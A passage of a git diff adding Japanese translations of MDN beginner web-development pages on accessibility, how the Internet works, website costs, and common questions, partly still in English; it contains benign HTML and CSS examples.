this, you can specify a size for your text's container. Let's consider this HTML:</p> + +<pre><!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="UTF-8"> + <title>Font size experiment</title> +</head> +<body> + +<div class="container"> + <h1>This is our main heading + <span class="subheading">This is our subheading</span> + </h1> + + <p>[lengthly text that spans many lines]</p> +</div> + +</body> +</html></pre> + +<p>We have a <code>div</code> with class <code>container</code>. We can style the <code>div</code> either to set its width (using the <code>width</code> property) or its maximum width so that it never gets too large (using the <code>max-width</code> property). If you want an elastic/responsive website, and you don't know what the browser's default width is, you can use the <code>max-width</code> property to allow up to 70 characters per line and no more:</p> + +<pre>div.container { max-width:70em; }</pre> + +<h3 id="Alternative_content_for_images_audio_and_video">Alternative content for images, audio, and video</h3> + +<p>Websites often include stuff besides plain text.</p> + +<h4 id="Images">Images</h4> + +<p>Images can be either decorative or informative, but there's no guarantee that your users can see them. For example,</p> + +<ul> + <li>Visually impaired users rely on a screen reader, which can only handle text.</li> + <li>Your readers may be using a very strict intranet that blocks images originating from a {{Glossary("CDN")}}.</li> + <li>Your readers may have disabled images to save bandwidth, especially on mobile devices (see below).</li> +</ul> + +<dl> + <dt>Decorative images</dt> + <dd>They're just for decoration and don't convey any real information. They could most often be replaced by a background image. Make sure they feature an empty <code>alt</code> attribute: <code><img src="deco.gif" alt=""></code> so they don't clog up the text.</dd> + <dt>Informative images</dt> + <dd>They are used to convey information, hence their name. They can, for instance, feature a graph, or show a person's gesture, or any other information. At minimum, you must provide a relevant <code>alt</code> attribute.</dd> +</dl> + +<p>If the image can be described succinctly, you can provide an <code>alt</code> attribute and nothing more. If the image cannot be described succinctly, you will have to either provide the same content in another form in the same page (e.g., complement a pie chart with a table providing the same data), or resort to a <code>longdesc </code>attribute. This attribute's value is a URL pointing towards a resource explicitly describing in detail the image's content.</p> + +<div class="note"> +<p>Note: the use and even the existence of <code>longdesc</code> has been debated for quite some time. Please refer to the W3C's <a href="http://www.w3.org/TR/html-longdesc/">Image Description Extension (longdesc)</a> for the full explanation and thorough examples.</p> +</div> + +<h4 id="Audiovideo">Audio/video</h4> + +<p>You must also provide alternatives to multimedia content.</p> + +<dl> + <dt>Subtitling/close-captioning</dt> + <dd>You should include captions in your video to cater to visitors who can't hear the audio. Some users have hearing challenges, lack functioning speakers, or work in a noisy environment (like on the train).</dd> + <dt>Transcript</dt> + <dd>Subtitles only work if somebody watches the video. Many users don't have time, or lack the proper plugin or codec. Additionally, search engines rely mainly on text to index your contents. For all these reasons, please provide a text transcript of the video/audio file.</dd> +</dl> + +<h3 id="Image_compression">Image compression</h3> + +<p>Some users may choose to display images, but still have limited bandwidth available, especially in developing countries and on mobile devices. If you want a successful website, please compress your images. There are various tools to help you, either online or local:</p> + +<ul> + <li><strong>Installed software.</strong> <a href="https://imageoptim.com/">ImageOptim</a> (Mac), <a href="http://optipng.sourceforge.net/">OptiPNG</a> (all platforms), <a href="http://pmt.sourceforge.net/pngcrush/">PNGcrush</a> (DOS, Unix/Linux)</li> + <li><strong>Online tools.</strong> Yahoo's <a href="http://smush.it/">smushit!</a>, Dynamic drive's <a href="http://tools.dynamicdrive.com/imageoptimizer/">Online Image Optimizer</a> (which can convert automatically from one format to another if it's more bandwidth-efficient)</li> +</ul> diff --git a/files/ja/learn/common_questions/how_does_the_internet_work/index.html b/files/ja/learn/common_questions/how_does_the_internet_work/index.html new file mode 100644 index 0000000000..73899c4026 --- /dev/null +++ b/files/ja/learn/common_questions/how_does_the_internet_work/index.html @@ -0,0 +1,99 @@ +--- +title: インターネットはどのように動くのか +slug: Learn/Common_questions/How_does_the_Internet_work +tags: + - WebMechanics + - チュートリアル + - 初心者 +translation_of: Learn/Common_questions/How_does_the_Internet_work +--- +<div>{{LearnSidebar}}</div> + +<div class="summary"> +<p>この記事はインターネットの仕組みとどのように動いているかを説明します。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>ありませんが、最初に<a href="/docs/Learn/Thinking_before_coding">プロジェクトの目標を設定すること</a>の記事を先に読むことをおすすめします。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td><span class="short_text" id="result_box" lang="ja"><span>Web の技術インフラストラクチャの基礎と、インターネットと Web の違いについて学びます。</span></span></td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p><strong>インターネット</strong>は Web のバックボーンであり、Web を可能にする技術基盤です。<span class="short_text" id="result_box" lang="ja"><span>最も基本的なインターネットは、すべてが一元的に通信を行う大規模なコンピュータネットワークです。</span></span></p> + +<p><a href="https://ja.wikipedia.org/wiki/%E3%82%A4%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%8D%E3%83%83%E3%83%88#%E6%AD%B4%E5%8F%B2" rel="external">インターネットの歴史はやや曖昧です</a>。1960年代に米軍の資金援助を受けて始まった調査プロジェクトに始まり、<span id="result_box" lang="ja"><span>多くの大学と民間企業の支援を受けて1980年代に公共インフラへと発展しました。インターネットを支える様々なテクノロジーは時間の経過とともに進化してきましたが、大きくは変わっていません。インターネットは、コンピュータを一元的に接続し、何が起きても接続を維持する方法を見つけます。</span></span></p> + +<h2 id="アクティブ・ラーニング">アクティブ・ラーニング</h2> + +<ul> + <li><a href="https://www.youtube.com/watch?v=7_LPdttKXPc" rel="external">How the internet Works in 5 minutes</a>: アーロン・タイタスによるインターネットの基礎を理解するための５分間ビデオ。</li> +</ul> + +<h2 id="より深く">より深く</h2> + +<h3 id="単純なネットワーク">単純なネットワーク</h3> + +<p>２つのコンピューターが通信を必要とする時、物理的に (通常は<a href="https://ja.wikipedia.org/wiki/%E3%82%A4%E3%83%BC%E3%82%B5%E3%83%8D%E3%83%83%E3%83%88#%E3%82%B1%E3%83%BC%E3%83%96%E3%83%AB" rel="external">イーサネットケーブル</a>) や無線 (<a href="https://ja.wikipedia.org/wiki/Wi-Fi" rel="external">WiFi</a> や <a href="https://ja.wikipedia.org/wiki/Bluetooth" rel="external">Bluetooth</a> など) で接続する必要があります。現在のすべてのコンピュータでは通信を維持することができます。</p> + +<div class="note"> +<p><strong>注記 :</strong> 残りの記事では物理ケーブルのみ説明を行いますが、無線ネットワークでも同じように動きます。</p> +</div> + +<p><img alt="Two computers linked together" src="https://mdn.mozillademos.org/files/8441/internet-schema-1.png" style="height: 152px; width: 600px;"></p> + +<p>このようなネットワークでは２つのコンピューターという制限はありません。あなたの望むように多くのコンピューターに接続することができます。しかしそれはすぐに複雑になります。例えば 10 台のコンピューターに接続しようとした場合、45 本のケーブルとそれぞれのコンピューターに 9 つのプラグ差込口が必要になります。</p> + +<p><img alt="Ten computers all together" src="https://mdn.mozillademos.org/files/8443/internet-schema-2.png" style="height: 576px; width: 600px;"></p> + +<p>この問題を解決するために、それぞれのコンピュータが<em>ルーター</em>と呼ばれる特別な小さなコンピュータにつなぎます。この<em>ルータ</em>は一つの仕事だけを行います：電車<span id="result_box" lang="ja"><span>の信号機のように、特定のコンピュータから送信されたメッセージが正しい宛先コンピュータに到着することを確認します。</span> <span>コンピュータ B に メッセージを送信するには、コンピュータ A がメッセージをルータに送信し、メッセージをコンピュータ B に転送し、コンピュータ C にメッセージが配信されないようにする必要があります。</span></span></p> + +<p>一度ルーターをシステムに追加すると、ネットワークに繋がる 10 個のコンピュータは 10 個のケーブルが必要です。またそれぞれのコンピューターに一つのプラグ差込口が必要でルーターには 10 個のプラグ差込口が必要です。</p> + +<p><img alt="Ten computers with a router" src="https://mdn.mozillademos.org/files/8445/internet-schema-3.png" style="height: 576px; width: 600px;"></p> + +<h3 id="ネットワークのネットワーク">ネットワークのネットワーク</h3> + +<p><span id="result_box" lang="ja"><span>ここまでは順調ですね。</span><span>しかし何百、何千、何十億ものコンピュータを接続する場合はどうですか？</span><span>もちろん、1台の</span></span><em>ルーター</em><span lang="ja"><span>ではそれほど規模を拡大することはできませんが、注意深く読んだ場合、</span></span><em>ルーター</em><span lang="ja"><span>は他のコンピュータと同じようにコンピュータと呼ばれており、２台の</span></span><em>ルーター</em><span lang="ja"><span>を接続するのに問題はないのでしょうか？</span><span>何も問題はありません。では、繋いでみましょう。</span></span></p> + +<p><img alt="Two routers linked together" src="https://mdn.mozillademos.org/files/8447/internet-schema-4.png"></p> + +<p><span class="short_text" id="result_box" lang="ja"><span>コンピュータをルータに、そしてルータをルータに接続することで、無限に拡張することができます。</span></span></p> + +<p><img alt="Routers linked to routers" src="https://mdn.mozillademos.org/files/8449/internet-schema-5.png" style="height: 563px; width: 600px;"></p> + +<p><span id="result_box" lang="ja"><span>このようなネットワークは、私たちがインターネットと呼ぶものに非常に近いものですが、何かが欠けています。</span><span>私たちは自分自身の目的のためにそのネットワークを構築しました。一方で他のネットワークもあります：あなたの友人、あなたの隣人、誰もが自分のコンピュータのネットワークを持つことができます。しかし、あなたの家と世界の間にケーブルを設置することは実際には可能ではありません。どうすればよいでしょうか？ 想像してください。</span><span>あなたの家には電力や電話などといったもののケーブルが接続されています。</span></span><span id="result_box" lang="ja"><span>電話のインフラはすでに世界中の誰かとあなたの家を接続していますので、私たちが欲しい完璧なワイヤーです。</span> <span>私たちのネットワークを電話インフラに接続するには、</span></span><em>モデム</em><span lang="ja"><span>と呼ばれる特別な機器が必要です。</span> <span>このモデムは、私たちのネットワークからの情報を、電話インフラストラクチャによって管理可能な情報に変換します。また、逆もしかりです</span></span><span lang="ja"><span>。</span></span></p> + +<p><img alt="A router linked to a modem" src="https://mdn.mozillademos.org/files/8451/internet-schema-6.png" style="height: 340px; width: 600px;"></p> + +<p>電話のインフラに接続します。次のステップは、私たちのネットワークから接続できるネットワークにメッセージを送信することです。そのために、ネットワークをインターネットサービスプロバイダ (Internet Service Provider:以下 ISP ) に接続します。ISP は、すべてをリンクする特別な<em>ルーター</em>を管理する会社で、他のISPのルータにもアクセスできます。 したがって、私たちのネットワークからのメッセージは、ISP ネットワークのネットワークを通して宛先のネットワークに運ばれます。インターネットは、このネットワーク全体のインフラで構成されています。</p> + +<p><img alt="Full Internet stack" src="https://mdn.mozillademos.org/files/8453/internet-schema-7.png" style="height: 1293px; width: 340px;"></p> + +<h3 id="コンピューターを探す">コンピューターを探す</h3> + +<p>もしコンピューターにメッセージを送りたい場合、どれかを特定する必要があります。 <span id="result_box" lang="ja"><span>したがって、ネットワークにリンクしたコンピュータは、自身を識別するための固有のアドレスがあり、これは「IPアドレス」(IP は</span></span><em>インターネットプロトコル</em><span lang="ja"><span>を意味します) と呼ばれます。</span><span>これは、ドットで区切られた一連の4つの数字からなるアドレスです (例 : </span></span><code>192.168.2.10</code><span lang="ja"><span>)。</span></span></p> + +<p><span id="result_box" lang="ja"><span>それはコンピュータにとって完璧ですが、このようなアドレスを人間が</span></span><span lang="ja"><span>覚えることは難しいです。そこで</span></span><span id="result_box" lang="ja"><span>簡単にするために、<em>ドメイン名</em>と呼ばれる人間がわかりやすい名前で IP アドレスを置き換えることができます。</span>例えば<span>、</span></span><code>google.com</code><span lang="ja"><span> はトップの IP アドレス</span></span><code>173.194.121.32</code><span lang="ja"><span>で使用されるドメイン名です。</span><span>ドメイン名を使用することは、インターネット経由でコンピュータにアクセスする最も簡単な方法です。</span></span></p> + +<p><img alt="Show how a domain name can alias an IP address" src="https://mdn.mozillademos.org/files/8405/dns-ip.png" style="height: 160px; width: 330px;"></p> + +<h3 id="インターネットとウェブ">インターネットとウェブ</h3> + +<p><span id="result_box" lang="ja"><span>ご存知のとおり、Web ブラウザで Web を閲覧する場合、通常はドメイン名を使用して Web サイトにアクセスします。これはインターネットとウェブが同じである</span></span><span lang="ja"><span>ことを意味するのでしょうか？実はそれほど単純な話ではありません。私たちが見てきたように、インターネットは何十億ものコンピュータをすべて接続できる技術インフラです。</span></span><span id="result_box" lang="ja"><span>これらのコンピュータの中には、一部のコンピュータ (<em>Web サーバー</em>と呼ばれる</span></span><span lang="ja"><span>) が Web ブラウザに分かりやすいメッセージを送信することができます。</span><span><em>インターネット</em>はインフラですが、<em>Web</em> はインフラの上に構築されたサービスです。</span> <span>電子メールや</span></span> {{Glossary("IRC")}} <span lang="ja"><span>など、インターネット上に構築されたいくつかのサービスがあります。</span></span></p> + +<h2 id="次のステップ">次のステップ</h2> + +<ul> + <li><a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web のしくみ</a></li> + <li><a href="/ja/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">Web ページ、Web サイト、Web サーバ、検索エンジンの違いは？</a></li> + <li><a href="/ja/docs/Learn/Common_questions/What_is_a_domain_name">ドメイン名とは何ですか？</a></li> +</ul> diff --git a/files/ja/learn/common_questions/how_much_does_it_cost/index.html b/files/ja/learn/common_questions/how_much_does_it_cost/index.html new file mode 100644 index 0000000000..d931cb0900 --- /dev/null +++ b/files/ja/learn/common_questions/how_much_does_it_cost/index.html @@ -0,0 +1,155 @@ +--- +title: Web で何かをするためにどのくらいコストがかかりますか？ +slug: Learn/Common_questions/How_much_does_it_cost +translation_of: Learn/Common_questions/How_much_does_it_cost +--- +<div class="summary"> +<p>Web に参加することは、見かけほど容易ではありません。この記事では、あなたがどのくらい費用をかける必要があるのか、そしてその理由について説明します。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学習の前提:</th> + <td><a href="/ja/docs/Learn/Common_questions/ウェブサイトを作成するのにどんなソフトウェアが必要か？">どのソフトウェアが必要か</a>、<a href="/ja/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">Web ページ、Web サイトなどの違い</a>、<a href="/ja/docs/Learn/Common_questions/What_is_a_domain_name">ドメイン名とは何か</a>を理解しているべきです。</td> + </tr> + <tr> + <th scope="row">学習の目標:</th> + <td>Web サイトを作成するための完全なプロセスを確認し、各ステップにかかる費用を確認します。</td> + </tr> + </tbody> +</table> + +<h2 id="要約">要約</h2> + +<p><span class="seoSummary">Web サイトを立ち上げるとき、費用は何も掛からないかもしれませんし、青天井かもしれません。 この記事では、費用の有無にかかわらず、どのように準備し、またどれだけ費用がかかるかについて議論します。</span></p> + +<h2 id="ソフトウェア">ソフトウェア</h2> + +<h3 id="テキストエディタ">テキストエディタ</h3> + +<p>Windows のメモ帳、Linux の Gedit、Mac の TextEdit などのテキストエディタを使った経験はおありでしょう。色分けしたり、文法をチェックしたり、コードの構築を手助けしたりするエディタを選択すれば、コードを書くのが楽になります。</p> + +<p>無料のエディタは多くあります。たとえば、<a href="https://atom.io/">Atom</a>、<a href="http://brackets.io/">Brackets</a>、<a href="http://bluefish.openoffice.nl/">Bluefish</a>、<a href="http://www.barebones.com/products/textwrangler/">TextWrangler</a>、<a href="http://eclipse.org/">Eclipse</a>、<a href="https://netbeans.org/">Netbeans</a>などです。また<a href="http://www.sublimetext.com/">Sublime Text</a>のように好きなだけ試用できるが、料金を支払ったほうが良いものもあります。なかには、<a href="https://www.jetbrains.com/phpstorm/">PhpStorm</a>,のように、購入ライセンスによって、価格が数百円から２万円の間になるものもあります。<a href="http://www.visualstudio.com/">Microsoft Visual Studio</a>は数万円から数十万円しますが、Visual Studio Expressは個人やオープンソースプロジェクトでは無料で使えます。 有料ソフトウエアには、無料の試用期間を設けているものもあります。</p> + +<p>最初に何種類かのエディタを試して、用途に合うのはどれか調べるといいでしょう。T {{Glossary("HTML")}}や{{Glossary("CSS")}}、それに{{Glossary("Javascript")}}で簡単なコードを書くのであれば、単純なエディタをお勧めします。</p> + +<p>テキストエディタの品質と使いやすさは、あまり価格と連動しません。実際に使ってみて、目的に合うか調べるようにしてください。例えばSublime Textは安価ですが、多くの無料プラグインがあり、拡張性が高いエディタです。</p> + +<h3 id="画像エディタ">画像エディタ</h3> + +<p>あなたが使用しているシステムには、単純な画像編集ソフトまたはビューアーが搭載されているでしょう。WindowsではPaint、UbuntuではEye of Gnome、MacではPreviewです。これらのプログラムは比較的制限されているので、レイヤー、エフェクト、およびグループ化を追加するなどのために高機能なエディタが、すぐに必要になります。</p> + +<p>編集ソフトは無料 (<a href="http://www.gimp.org/">GIMP</a>, <a href="https://www.getpaint.net/">Paint.NET</a>)、やや高価 (<a href="http://www.paintshoppro.com/">PaintShop Pro</a>, less than $100)、または数百ドル (<a href="https://www.adobe.com/products/photoshop.html">Adobe Photoshop</a>)のものもあります。</p> + +<p>これらは似たような機能を持っているので、どれを使用しても構いません。この中には様々な機能を網羅しているソフトもありますが、すべての機能を使う日は決して来ないでしょう。 ある時点で他の設計者とプロジェクトを交換する必要がある場合は、彼らがどのツールを使用しているかを調べる必要があります。 編集ソフトは完成したプロジェクトを標準のファイル形式にエクスポートできますが、各編集ソフトは進行中のプロジェクトを独自の特別な形式で保存します。 インターネット上のほとんどの画像は著作権で保護されているので、使用する前にファイルのライセンスを確認することをお勧めします。 <a href="https://pixabay.com/">Pixabay</a> のようなサイトは、CC0ライセンスの下で画像提供を行なっているので、商用利用のための変更・編集を加えても公開することができます。</p> + +<h3 id="メディアエディタ">メディアエディタ</h3> + +<p>If you want to include video or audio into your website, you can either embed online services (for example YouTube, Vimeo, or Dailymotion), or include your own videos (see below for bandwidth costs).</p> + +<p>For audio files, you can find free software (<a href="http://audacity.sourceforge.net/?lang=en">Audacity</a>, <a href="http://www.wavosaur.com/">Wavosaur</a>), or paying up to a few hundred dollars (<a href="http://www.sonycreativesoftware.com/soundforge">Sony Sound Forge</a>, <a href="http://www.adobe.com/products/audition.html">Adobe Audition</a>). Likewise, video-editing software can be free (<a href="http://www.pitivi.org/">PiTiVi</a>, <a href="http://www.openshot.org/">OpenShot</a> for Linux, <a href="https://www.apple.com/mac/imovie/">iMovie</a> for Mac), less than $100 (<a href="https://www.adobe.com/us/products/premiere-elements.html">Adobe Premiere Elements</a>), or several hundred dollars (<a href="https://www.adobe.com/products/premiere.html">Adobe Premiere Pro</a>, <a href="http://www.avid.com/US/products/family/Media-Composer">Avid Media Composer</a>, <a href="https://www.apple.com/final-cut-pro/">Final Cut Pro</a>). The software you received with your digital camera may cover all your needs.</p> + +<h3 id="パブリッシングツール">パブリッシングツール</h3> + +<p>You also need a way to upload files: from your hard drive to a distant web server. To do that you should use a publishing tool such as an (S)<a href="/en-US/docs/Glossary/FTP">FTP client</a>, <a href="https://en.wikipedia.org/wiki/Rsync">RSync</a>, or <a href="https://help.github.com/articles/using-a-custom-domain-with-github-pages/">Git/GitHub</a>.</p> + +<p>Each operating system includes an (S)FTP client, as part of its file manager. Windows Explorer, Nautilus (a common Linux file manager), and the Mac Finder all include this functionality. However, people often choose dedicated (S)FTP clients to display local or remote directories side-by-side and store server passwords.</p> + +<p>If you want to install an (S)FTP client, there are several reliable and free options: for example, <a href="https://filezilla-project.org/">FileZilla</a> for all platforms, <a href="http://winscp.net/">WinSCP</a> for Windows, <a href="https://cyberduck.io/">Cyberduck</a> for Mac or Windows, <a href="https://en.wikipedia.org/wiki/List_of_FTP_server_software">and more</a>.</p> + +<p>Because FTP is inherently insecure, you should make sure to use SFTP — the secure, encrypted version of FTP that most hosting sites you'll deal with these days will offer by default — or another secure solution like Rsync over SSH.</p> + +<h2 id="ブラウザ">ブラウザ</h2> + +<p>あなたはすでにブラウザを持っているか、無料でそれを手に入れることができます。必要に応じて、ここから Firefox または Google Chrome をダウンロードしてください。</p> + +<h2 id="Web_アクセス">Web アクセス</h2> + +<h3 id="コンピュータ_モデム">コンピュータ / モデム</h3> + +<p>You need a computer. Costs can vary tremendously, depending on your budget, and where you live. To publish a barebones website, you only need a basic computer capable of launching an editor, and a Web browser, so the entry level can be quite low.</p> + +<p>Of course, you'll need a more serious computer if you want to produce complicated designs, touch up photos, or produce audio and video files.</p> + +<p>You need to upload content to a remote server (see <em>Hosting</em> below), so you need a modem. Your {{Glossary("ISP")}} can rent Internet connectivity to you for a few dollars per month, though your budget might vary, depending on your location.</p> + +<h3 id="ISP_access">ISP access</h3> + +<p>Make sure that you have sufficient {{Glossary("Bandwidth", "bandwidth")}}:</p> + +<ul> + <li>Low-bandwidth access may be adequate to support a 'simple' website: reasonably-sized images, texts, some CSS and JavaScript. That will likely cost you a few dozen dollars, including the rent for the modem.</li> + <li>On the other hand, you'll need a high-bandwidth connections, such as DSL, cable, or fiber access, if you want a more advanced website with hundreds of files, or if you want to deliver heavy video/audio files directly from your web server. It could cost the same as low-bandwidth access, upwards to several hundred dollars per month for more professional needs.</li> +</ul> + +<h2 id="Hosting">Hosting</h2> + +<h3 id="Understanding_bandwidth">Understanding bandwidth</h3> + +<p>Hosting providers charge you according to how much {{Glossary("Bandwidth", "bandwidth")}} your website consumes. This depends on how many people, and Web crawling robots, access your content during a given time, and how much server space your content takes up. This is why people usually store their videos on dedicated services such as Youtube, Dailymotion, and Vimeo. For example, your provider may have a plan that includes up to several thousand visitors per day, for “reasonable” bandwidth usage. Be careful, however as this is defined differently from one hosting provider to another. As a rule of thumb, recognize that reliable, paid, personal hosting can cost around ten to fifteen dollars per month.</p> + +<div class="note"> +<p>Note that there is no such thing as “unlimited” bandwidth. If you consume a huge amount of bandwidth, expect to pay a huge amount of money.</p> +</div> + +<h3 id="Domain_names">Domain names</h3> + +<p>Your domain name has to be purchased through a domain name provider (a registrar). Your hosting provider may also be a registrar (<a href="https://www.1and1.com/">1&1</a>, <a href="https://www.gandi.net/?lang=en">Gandi</a> for instance are at the same time registrars and hosting providers). The domain name usually costs $5-15 per year. This cost varies depending on:</p> + +<ul> + <li>Local obligations: some country top-level domain names are more costly, as different countries set different prices.</li> + <li>Services associated with the domain name: some registrars provide spam protection by hiding your postal address and email address behind their own addresses: the postal address can be provided in care of the registrar, and your email address can be obscured via your registrar's alias.</li> +</ul> + +<h3 id="Do-it-yourself_hosting_vs._“packaged”_hosting">Do-it-yourself hosting vs. “packaged” hosting</h3> + +<p>When you want to publish a website, you could do everything by yourself: set up a database (if needed), Content Management System, or {{Glossary("CMS")}} (like <a href="http://wordpress.org/">Wordpress</a>, <a href="http://dotclear.org/">Dotclear</a>, <a href="http://www.spip.net/en_rubrique25.html">spip</a>, etc.), upload pre-made or your own templates.</p> + +<p>You could use your hosting provider's environment, for roughly ten to fifteen dollars per month, or subscribe directly to a dedicated hosting service with pre-packaged CMSs (e.g., <a href="http://wordpress.com/">Wordpress</a>, <a href="https://www.tumblr.com/">Tumblr</a>, <a href="https://www.blogger.com/">Blogger</a>). For the latter, you won't have to pay anything, but you may have less control over templating and other options.</p> + +<h3 id="Free_hosting_vs._paid_hosting">Free hosting vs. paid hosting</h3> + +<p>You might ask, why should I pay for my hosting when there are so many free services?</p> + +<ul> + <li>You have more freedom when you pay. Your website is yours, and you can migrate seamlessly from one hosting provider to the next.</li> + <li>Free hosting providers may add advertising to your content, beyond your control.</li> +</ul> + +<p>It is better to go for paid hosting rather than relying on free hosting, as it is possible to move your files easily and uptime is <span>guaranteed </span>by most paid sites. Most hosting providers give you a huge discount to start with.</p> + +<p>Some people opt for a mixed approach. For example, their main blog on a paid host with a full domain name, and spontaneous, less strategic, content on a free host service.</p> + +<h2 id="Professional_website_agencies_and_hosting">Professional website agencies and hosting</h2> + +<p>If you desire a professional website, you will likely ask a web agency to do it for you.<br> + <br> + Here, costs depend on multiple factors, such as:</p> + +<ul> + <li>Is this a simple website with a few pages of text? Or a more complex, thousand-pages-long website?</li> + <li>Will you want to update it regularly? Or will it be a static website?</li> + <li>Must the website connect to your company’s IT structure to gather content (say, internal data)?</li> + <li>Do you want some shiny new feature that is the rage of the moment? At the time of writing, clients are seeking single pages with complex parallax</li> + <li>Will you need the agency to think up user stories or solve complex {{Glossary("UX")}} problems? For example, creating a strategy to engage users, or A/B testing to choose a solution among several ideas</li> +</ul> + +<p>...and for hosting:</p> + +<ul> + <li>Do you want redundant servers, in case your server goes down?</li> + <li>Is 95% percent reliability adequate, or do you need professional, around-the-clock service?</li> + <li>Do you want high-profile, ultra-responsive dedicated servers, or can you cope with a slower, shared machine?</li> +</ul> + +<p>Depending on how you answer these questions, your site could cost thousands to hundreds of thousands of dollars.</p> + +<h2 id="Next_steps">Next steps</h2> + +<p>Now that you understand what kind of money your website may cost you, it's time to start designing that website and <a href="/en-US/docs/Learn/Set_up_a_basic_working_environment">setting up your work environment</a>.</p> + +<ul> + <li>Read on about <a href="/en-US/docs/Learn/Choose,_Install_and_set_up_a_text_editor">how to choose and install a text editor</a>.</li> + <li>If you're more focused on design, take a look at the <a href="/en-US/Learn/Anatomy_of_a_web_page">anatomy of a web page</a>.</li> +</ul> diff --git a/files/ja/learn/common_questions/html_features_for_accessibility/index.html b/files/ja/learn/common_questions/html_features_for_accessibility/index.html new file mode 100644 index 0000000000..4139cf51e8 --- /dev/null +++ b/files/ja/learn/common_questions/html_features_for_accessibility/index.html @@ -0,0 +1,55 @@ +--- +title: アクセシビリティをよくする HTML の機能にはどんなものがある？ +slug: Learn/Common_questions/HTML_features_for_accessibility +tags: + - Accessibility + - Beginner + - HTML + - Learn + - NeedsContent +translation_of: Learn/Common_questions/HTML_features_for_accessibility +--- +<p>{{draft}}</p> + +<p class="summary">以下のコンテンツは、さまざまな障害を持つ人々にとってウェブページをよりアクセシブルにするために使用できる HTML の特定の機能について説明しています。</p> + +<h2 id="Tabbing" name="Tabbing">タブ移動</h2> + +<p>ポインティングデバイスを使用しない、または使用できないユーザーは、リンクを <kbd>Tab</kbd> で移動できます。なので、リンクは論理的なタブ移動の順序になっている必要があります。<code>tabindex</code> 属性を使用すると、この順序を定義できます。HTML が線形である場合(そうあるべきなのですが)、論理的なタブ移動の順序は自動的に正しい位置に配置されるはずです。</p> + +<pre class="brush: html"><ul> + <li><a href="here.html" tabindex="1">Here</a></li> + <li><a href="there.html" tabindex="3">There</a></li> + <li><a href="anywhere.html" tabindex="2">Anywhere</a></li> +</ul></pre> + +<p>この例（これは純粋にデモンストレーションとして使用されています - こうはしないでください）では、タブは "Here" から "Anywhere" 、"There" の順にジャンプします。</p> + +<h2 id="Link_Titles" name="Link_Titles">リンクタイトル</h2> + +<p>自己記述的ではないリンクがある場合、またはリンク先がより詳細に説明されていることでメリットが得られる場合は、<code>title</code> 属性を使用してリンクに情報を追加できます。</p> + +<pre class="brush: html"><p>I'm really bad at writing link text. <a href="inept.html" title="Why I'm rubbish at writing link text: An explanation and an apology.">Click here</a> to find out more.</p></pre> + +<h2 id="Access_Keys" name="Access_Keys">アクセスキー</h2> + +<p><em>アクセスキー</em>を使用すると、<em>キーボードショートカット</em>をリンクに割り当てることができ、ナビゲーションが簡単になります。通常、ユーザーが <kbd>Alt</kbd> キーまたは <kbd>Ctrl</kbd> キーを押しながらアクセスキーを押すとフォーカスが移動します。正確なキーの組み合わせはプラットフォームによって変わります。</p> + +<pre class="brush: html"><a href="somepage.html" accesskey="s">Some page</a></pre> + +<h2 id="Skip_Links" name="Skip_Links">スキップリンク</h2> + +<p>タブ移動を補助するために、ユーザーがあなたのウェブページの大きな塊を飛び越えることを可能にするリンクを提供することができます。たとえば、ユーザーが多すぎるナビゲーションリンクを飛び越えて、すべてのリンクを巡回するのではなくページのメインコンテンツを読むことができるようにしたい場合があります。</p> + +<pre class="brush: html"><header> + <h1>The Heading</h1> + <a href="#content">Skip to content</a> +</header> + +<nav> + <!-- navigation stuff --> +</nav> + +<section id="content"> + <!--your content --> +</section></pre> diff --git a/files/ja/learn/common_questions/index.html b/files/ja/learn/common_questions/index.html new file mode 100644 index 0000000000..d9990bb91e --- /dev/null +++ b/files/ja/learn/common_questions/index.html @@ -0,0 +1,136 @@ +--- +title: よくある質問 +slug: Learn/Common_questions +tags: + - CodingScripting + - Infrastructure + - Learn + - Web + - WebMechanics +translation_of: Learn/Common_questions +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">学習エリアのこのセクションでは、浮かんでくるかもしれないけれども、学習ルートの本筋 (例 <a href="/ja/docs/Learn/HTML">HTML</a> や <a href="/ja/docs/Learn/CSS">CSS</a> 学習記事) には必要でもない、よくある質問への回答を載せるために作りました。この記事は単独でこれだけを読んでも理解できるものになっています。</p> + +<h2 id="How_the_Web_works" name="How_the_Web_works">ウェブはどのように動いているのか</h2> + +<p>このセクションでは、ウェブのメカニズムについてのウェブのエコシステムや動作に関係する質問に答えます。</p> + +<dl> + <dt> + <h3 id="How_does_the_Internet_work" name="How_does_the_Internet_work"><a href="/ja/docs/Learn/Common_questions/How_does_the_Internet_work">インターネットはどうやって動いているの？</a></h3> + </dt> +</dl> + +<dl> + <dd><strong>インターネット</strong>は、ウェブの骨組みで、ウェブを可能としている技術的なインフラです。ごく簡単に言うと、インターネットとは、おたがいに通信しあうたくさんのコンピューターが繋がってできた巨大なネットワークです。この記事では、おおまなにインターネットがどのように動いているのかを説明します。</dd> + <dt> + <h3 id="What_is_the_difference_between_webpage_website_Web_server_and_search_engine" name="What_is_the_difference_between_webpage_website_Web_server_and_search_engine"><a href="/ja/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">ウェブページ、ウェブサイト、ウェブサーバー、検索エンジン、これらは何が違うの？</a></h3> + </dt> + <dd>この記事では、ウェブページ、ウェブサイト、ウェブサーバー、検索エンジンなどの、ウェブに関係するいろいろな考えについて話します。これらの用語は、ウェブに馴染みのない人にとって、よく混同されたり間違って使われる元になっています。それぞれの意味を発見していきましょう！</dd> + <dt> + <h3 id="What_are_hyperlinks" name="What_are_hyperlinks"><a href="/ja/docs/Learn/Common_questions/What_is_a_URL">ハイパーリンクって何？</a></h3> + </dt> + <dd>この記事では、ハイパーリンクがどのようなもので、なぜ大切なのかを説明しています。</dd> + <dt> + <h3 id="What_is_a_URL" name="What_is_a_URL"><a href="/ja/docs/Learn/Common_questions/What_is_a_URL">URL って何？</a></h3> + </dt> + <dd>{{Glossary("Hypertext")}} と {{Glossary("HTTP")}} では、URL とはインターネットのキーとなる考えです。URL は {{Glossary("Browser","ブラウザー")}} 